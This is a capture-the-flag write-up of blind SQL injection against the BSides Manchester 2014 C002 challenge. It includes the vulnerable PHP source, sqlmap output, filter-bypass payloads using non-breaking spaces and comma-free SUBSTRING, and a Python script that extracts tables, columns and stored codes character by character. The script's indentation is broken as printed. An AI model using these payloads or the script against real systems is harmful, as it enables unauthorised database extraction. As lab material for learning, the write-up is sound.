Bsides Manchester UK 2014 CTF

Evangelos Mourikis
Email:vag.mourikis()gmail[dot]com
Bsides Manchester 2014 CTF (Hardened Version)
25/01/2015

Challenge link: http://c002.xref.info/


Sql enumeration

Firstly, i put an ' to the search field and i clicked search.
This is what i got as result:

Error in query : [SELECT * FROM `images` WHERE tag  
LIKE '%'%']  

Then i would like to try an automated tool to check where it fails :

Parameter: search  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause  
Payload: search=-8001' OR (5831=5831) AND 'HhUx' LIKE 'HhUx  
---
web application technology: Apache  
back-end DBMS: MySQL 5  
banner: None  
current user:  
None  
current database:  
None  
hostname:  
None  
current user is DBA:  
True  

It failed to extract the data from the database(of course).
Let's see the source code of the app:

...snip...
<!--  
source : /index.php.txt  
-->
</head>  
<body>  
<div id="images">  
<?  
foreach ($images as $value) {  
echo "<img class='img-tag' src='/img/$value'>";  
RESULTS  
// SQL INJECTION
}
?>
...snip...

So now, we know that when we have SQL results, the "img-tag" will exist on the produced html code. (I will use that in the script in order to know when the sql query is true.)

<?php  
/*
...snip...
*/
$images = array();
if ( isset($_GET['search']) && $_GET['search'] ) {  
$search = urldecode( $_GET['search'] );
//decodes any %xx of the
string  
$search = str_replace( ' ', '', $search );
// removes spaces
$search = preg_replace( '/[\x00-\x1F\x7F]/', '', $search ); //
removes control chars  
$tags
= split( ',' , $search );
// split $search string by ","
foreach ( array_filter($tags) as $val ) {  
$query_parts[] = "'%".($val)."%'";
in '% $val %'  
}
//
put every query part  
$string = implode(' OR tag LIKE ', $query_parts);
// Adds "or tag
like" in our query for the parts that are split by comma  
$query = "SELECT * FROM `images` WHERE tag LIKE {$string}";
$result = mysqli_query($con, $query);
if (!$result)  
{
echo 'Error in query : ['.$query.']';  
exit;  
}
while($row = mysqli_fetch_array($result))  
{
$images[] = $row['file'];
}
mysqli_close($con);  
}
$search = isset($_GET['search']) ? $_GET['search'] : "";
?>

Exploitation

So the main problems of the sql injection here are two:

a) No space and control chars
b) We must not use comma because our query will be split.

I will use "%a0"(Non-breaking space) as it doesn't get filtered from the script and i will use substring method to avoid commas.
The next queries don't have the "%a0" space char in order to be readable from humans. I am extracting the data with a blind way(letter by letter):

Extracting Table Names

cat' AND (SELECT SUBSTRING($table_name FROM $number1 FOR 1) FROM  
information_schema.tables WHERE version=10 AND table_schema=database()LIMIT  
1 offset $table)=CHAR($number2)#  

Extracting Column Names

cat' and (SELECT SUBSTRING(column_name FROM $number1 FOR 1) FROM  
information_schema.columns where table_name= '$table_name' Limit 1 offset  
$column)=char($number2)#

Dumping records from tables

cat' and (select substring($column_name from $number1 for 1) from  
$table_name limit 1 offset $column)=char($number2)#
Results:

table: IMAGES

Columns: ID, FILE, TAG

table: SAFE_CODES

Columns: LOCATION, CODE

LOCATION CODE

B-SIDESMANCHESTER S26112E

PENTESTHQ 1234

# C002(Hardened) BSides Manchester 2014 Exploit
# Author: Evangelos Mourikis <vag.mourikis{}gmail.com>
# 25/01/2015
# http://vagmour.eu
#
# choice: 1 for tables
#      2 for columns
#      3 for records 
#change table_name, column_name to dump the data you want.

from __future__ import print_function

import requests  
import re  
import sys  

############USER INPUT############
choice = 1  
table_name = "safe_codes"  # for choice 2,3  
column_name = "code"   # for choice 3

if choice == 1:  
    for i in range(0,5):  # number of tables to be dumped   
        table = str(i)
        print('\n')
        for y in range(1,13):  #table_name length
                 number1 = str(y)
                for z in range(33,96):  # capitals + specials
                        number2 = str(z)
                r = requests.get("http://c002.xref.info/?search=cat%27%25a0AND%25a0%28SELECT%25a0SUBSTRING%28table_name%25a0FROM%25a0"+number1+"%25a0FOR%25a01%29%25a0FROM%25a0information_schema.tables%25a0WHERE%25a0version%3D10%25a0AND%a0table_schema=database()%a0LIMIT%25a01%a0offset%a0"+table+"%29%3DCHAR%28"+number2+"%29%23")
                        m = re.search("img-tag", r.text)
                        if m is not None:
                                print(chr(int(number2)), end='')
                                sys.stdout.flush()
                                break

if choice == 2:  
    for i in range(0,3):  # number of columns
            column = str(i)
            print('\n')
            for y in range(1,9):  #table_name length
                    number1 = str(y)
                    for z in range(33,95):  # capitals + specials
                            number2 = str(z)
                r = requests.get("http://c002.xref.info/?search=cat%27%25a0and%25a0%28SELECT%25a0SUBSTRING%28column_name%25a0FROM%25a0"+number1+"%25a0FOR%25a01%29%25a0FROM%25a0information_schema.columns%25a0where%25a0table_name%25a0%3D%25a0%27"+table_name+"%27%25a0Limit%25a01%a0offset%a0"+column+"%29=char%28"+number2+"%29%23")
                            m = re.search("img-tag", r.text)
                            if m is not None:
                                    print(chr(int(number2)), end='')
                                    sys.stdout.flush()
                                    break

if choice == 3:  
    for i in range(0,5):  
            column = str(i)
            print('\n')
            for y in range(0,25):  #records length (checking from 0 to 25)
                    number1 = str(y)
                    for z in range(33,95):  # capitals + specials
                            number2 = str(z)
                r = requests.get("http://c002.xref.info/?search=cat%27%25a0and%25a0%28select%25a0substring%28"+column_name+"%25a0from%25a0"+number1+"%25a0for%25a01%29%25a0from%25a0"+table_name+"%25a0limit%25a01%25a0offset%25a0"+column+"%29=char%28"+number2+"%29%23")
                m = re.search("img-tag", r.text)
                            if m is not None:
                                    print(chr(int(number2)), end='')
                                    sys.stdout.flush()
                                    break